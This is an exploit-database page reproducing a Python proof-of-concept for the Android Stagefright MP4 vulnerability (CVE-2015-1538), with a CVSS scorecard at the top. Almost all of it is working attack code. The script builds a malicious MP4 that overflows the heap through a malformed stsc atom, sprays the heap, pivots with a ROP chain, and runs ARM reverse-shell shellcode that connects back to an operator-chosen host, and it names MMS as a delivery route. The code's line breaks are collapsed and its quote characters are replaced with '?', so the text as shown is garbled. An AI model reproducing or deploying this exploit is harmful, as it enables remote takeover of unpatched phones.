Android Stagefright Remote Code Execution

2015.09.10
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 ?stsc? atom handling # # Don?t forget, the output of ?create_mp4? can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one? # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # ?With great power comes great responsibility.? ? Uncle Ben # import struct import socket # # Creates a single MP4 atom ? LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise ?Yo! They call it ?FourCC? for a reason.? ret = struct.pack(?>L?, len(data) + 8) ret += tag ret += data return ret # # Make an ?stco? atom ? Sample Table Chunk Offets # def make_stco(extra=?): ret = struct.pack(?>L?, 0) # version ret += struct.pack(?>L?, 0) # mNumChunkOffsets return make_chunk(?stco?, ret+extra) # # Make an ?stsz? atom ? Sample Table Size # def make_stsz(extra=?): ret = struct.pack(?>L?, 0) # version ret += struct.pack(?>L?, 0) # mDefaultSampleSize ret += struct.pack(?>L?, 0) # mNumSampleSizes return make_chunk(?stsz?, ret+extra) # # Make an ?stts? atom ? Sample Table Time-to-Sample # def make_stts(): ret = struct.pack(?>L?, 0) # version ret += struct.pack(?>L?, 0) # mTimeToSampleCount return make_chunk(?stts?, ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = ? ret += struct.pack(?>L?, start + 1) ret += struct.pack(?>L?, per) ret += struct.pack(?>L?, desc) return ret # # Make an ?stsc? chunk ? Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack(?>L?, 0) # version/flags # this is the clean version? if not do_overflow: ret += struct.pack(?>L?, num_alloc) # mNumSampleToChunkOffsets ret += ?Z? * (12 * num_alloc) return make_chunk(?stsc?, ret) # now the explicit version. (trigger the bug) ret += struct.pack(?>L?, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk(?stsc?, ret) # patch the data_size ret = struct.pack(?>L?, 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # ??? (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} ??? ??? b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> ??? def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = ? rop += struct.pack(?<L?, sp_addr + off + 0x10) # new sp rop += struct.pack(?<L?, 0xb0002a98) # new lr ? pop {pc} rop += struct.pack(?<L?, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack(?<L?, sp_addr & 0xfffff000) # new r0 ? base address (page aligned) rop += struct.pack(?<L?, 0x1000) # new r1 ? length rop += struct.pack(?<L?, 7) # new r2 ? protection rop += struct.pack(?<L?, 0xd000d003) # new r3 ? scratch rop += struct.pack(?<L?, 0xd000d004) # new r4 ? scratch rop += struct.pack(?<L?, 0xb0001144) # new pc ? _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack(?<L?, native_start) # address of native payload #rop += struct.pack(?<L?, 0xfeedfed5) # top of stack? # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) buf = ? # fork buf += ?\x02\x70\xa0\xe3? buf += ?\x00\x00\x00\xef? # continue if not parent? buf += ?\x00\x00\x50\xe3? buf += ?\x02\x00\x00\x0a? # exit parent buf += ?\x00\x00\xa0\xe3? buf += ?\x01\x70\xa0\xe3? buf += ?\x00\x00\x00\xef? # setsid in child buf += ?\x42\x70\xa0\xe3? buf += ?\x00\x00\x00\xef? # socket/connect/dup2/dup2/dup2 buf += ?\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c? buf += ?\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60? buf += ?\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0? buf += ?\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1? buf += ?\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06? buf += ?\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00? buf += ?\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0? buf += ?\xe3\x00\x00\x00\xef? # execve(shell, argv, env) buf += ?\x30\x00\x8f\xe2\x04\x40\x24\xe0? buf += ?\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d? buf += ?\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00? buf += ?\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00? buf += ?\xef\x02\x00? # Add the connect back host/port buf += struct.pack(?!H?, cb_port) cb_host = socket.inet_aton(cb_host) buf += struct.pack(?=4s?, cb_host) # shell ? buf += ?/system/bin/sh\x00\x00? # argv ? buf += ?sh\x00\x00? # env ? buf += ?PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00? # Add some identifiable stuff, just in case something goes awry? rop_start_off = 0x34 x = rop_start_off + len(rop) while len(rop) < 0x80 ? rop_start_off: rop += struct.pack(?<L?, 0xf0f00000+x) x += 4 # Add the native payload? rop += buf return rop # # Build an mp4 that exploits CVE-2015-1538 #1 # # We mimic meow.3gp here? # def create_mp4(sp_addr, newpc_val, cb_host, cb_port): chunks = [] # Build the MP4 header? ftyp = ?mp42? ftyp += struct.pack(?>L?, 0) ftyp += ?mp42? ftyp += ?isom? chunks.append(make_chunk(?ftyp?, ftyp)) # Note, this causes a few allocations? moov_data = ? moov_data += make_chunk(?mvhd?, struct.pack(?>LL?, 0, 0x41414141) + (?B? * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk(?trak?, make_chunk(?stbl?, make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) ??? 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! ??? page = ? off = 0 # the offset to the next object off += 8 page += struct.pack(?<L?, sp_addr + 8 + 16 + 8 + 12 ? 28) # _vptr.RefBase (for when we smash mDataSource) page += struct.pack(?<L?, sp_addr + off) # mRefs off += 16 page += struct.pack(?<L?, 1) # mStrong page += struct.pack(?<L?, 0xc0dedbad) # mWeak page += struct.pack(?<L?, sp_addr + off) # mBase page += struct.pack(?<L?, 16) # mFlags (dont set OBJECT_LIFETIME_MASK) off += 8 page += struct.pack(?<L?, sp_addr + off) # the mBase _vptr.RefBase page += struct.pack(?<L?, 0xf00dbabe) # mBase.mRefs (unused) off += 16 page += struct.pack(?<L?, 0xc0de0000 + 0x00) # vtable entry 0 page += struct.pack(?<L?, 0xc0de0000 + 0x04) # vtable entry 4 page += struct.pack(?<L?, 0xc0de0000 + 0x08) # vtable entry 8 page += struct.pack(?<L?, newpc_val) # vtable entry 12 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) x = len(page) while len(page) < 4096: page += struct.pack(?<L?, 0xf0f00000+x) x += 4 off = 0x34 page = page[:off] + rop + page[off+len(rop):] spray = page * (((2*1024*1024) / len(page)) ? 20) moov_data += make_chunk(?tx3g?, spray) block = ?A? * 0x1c bigger = ?B? * 0x40 udta = make_chunk(?udta?, make_chunk(?meta?, struct.pack(?>L?, 0) + make_chunk(?ilst?, make_chunk(?cpil?, make_chunk(?data?, struct.pack(?>LL?, 21, 0) + ?A?)) + make_chunk(?trkn?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + ?AAAABBBB?)) + make_chunk(?disk?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + ?AAAABB?)) + make_chunk(?covr?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) * 32 + make_chunk(?\xa9alb?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?\xa9ART?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?aART?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?\xa9day?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?\xa9nam?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?\xa9wrt?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) + make_chunk(?gnre?, make_chunk(?data?, struct.pack(?>LL?, 1, 0) + block)) + make_chunk(?covr?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + block)) * 32 + make_chunk(?\xa9ART?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + bigger)) + make_chunk(?\xa9wrt?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + bigger)) + make_chunk(?\xa9day?, make_chunk(?data?, struct.pack(?>LL?, 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ?.join([ ?\x00?, # version ?D? * 3, # padding ?E? * (5*4), # {c,m}time, id, ??, duration ?F? * 0x10, # ?? struct.pack(?>LLLLLL?, 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy ?G? * 0x14 ]) trak1 = ? trak1 += make_chunk(?tkhd?, tkhd1) mdhd1 = ?.join([ ?\x00?, # version ?D? * 0x17, # padding ]) mdia1 = ? mdia1 += make_chunk(?mdhd?, mdhd1) mdia1 += make_chunk(?hdlr?, ?F? * 0x3a) dinf1 = ? dinf1 += make_chunk(?dref?, ?H? * 0x14) minf1 = ? minf1 += make_chunk(?smhd?, ?G? * 0x08) minf1 += make_chunk(?dinf?, dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) ? 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk(?stbl?, stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk(?minf?, minf1) # Add the mdia to the track trak1 += make_chunk(?mdia?, mdia1) # Add the nasty track to the moov data moov_data += make_chunk(?trak?, trak1) # Finalize the moov chunk moov = make_chunk(?moov?, moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ?.join(chunks) return data if __name__ == ?__main__?: import sys import mp4 import argparse def write_file(path, content): with open(path, ?wb?) as f: f.write(content) def addr(sval): if sval.startswith(?0x?): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i ? 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument(?-c?, ??connectback-host?, dest=?cbhost?, default=?31.3.3.7?) parser.add_argument(?-p?, ??connectback-port?, dest=?cbport?, type=int, default=12345) parser.add_argument(?-s?, ??spray-address?, dest=?spray_addr?, type=addr, default=None) parser.add_argument(?-r?, ??rop-pivot?, dest=?rop_pivot?, type=addr, default=None) parser.add_argument(?-o?, ??output-file?, dest=?output_file?, default=?cve-2015-1538-1.mp4?) args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(?1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file? data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print(?[*] Saving crafted MP4 to %s ?? % args.output_file) write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top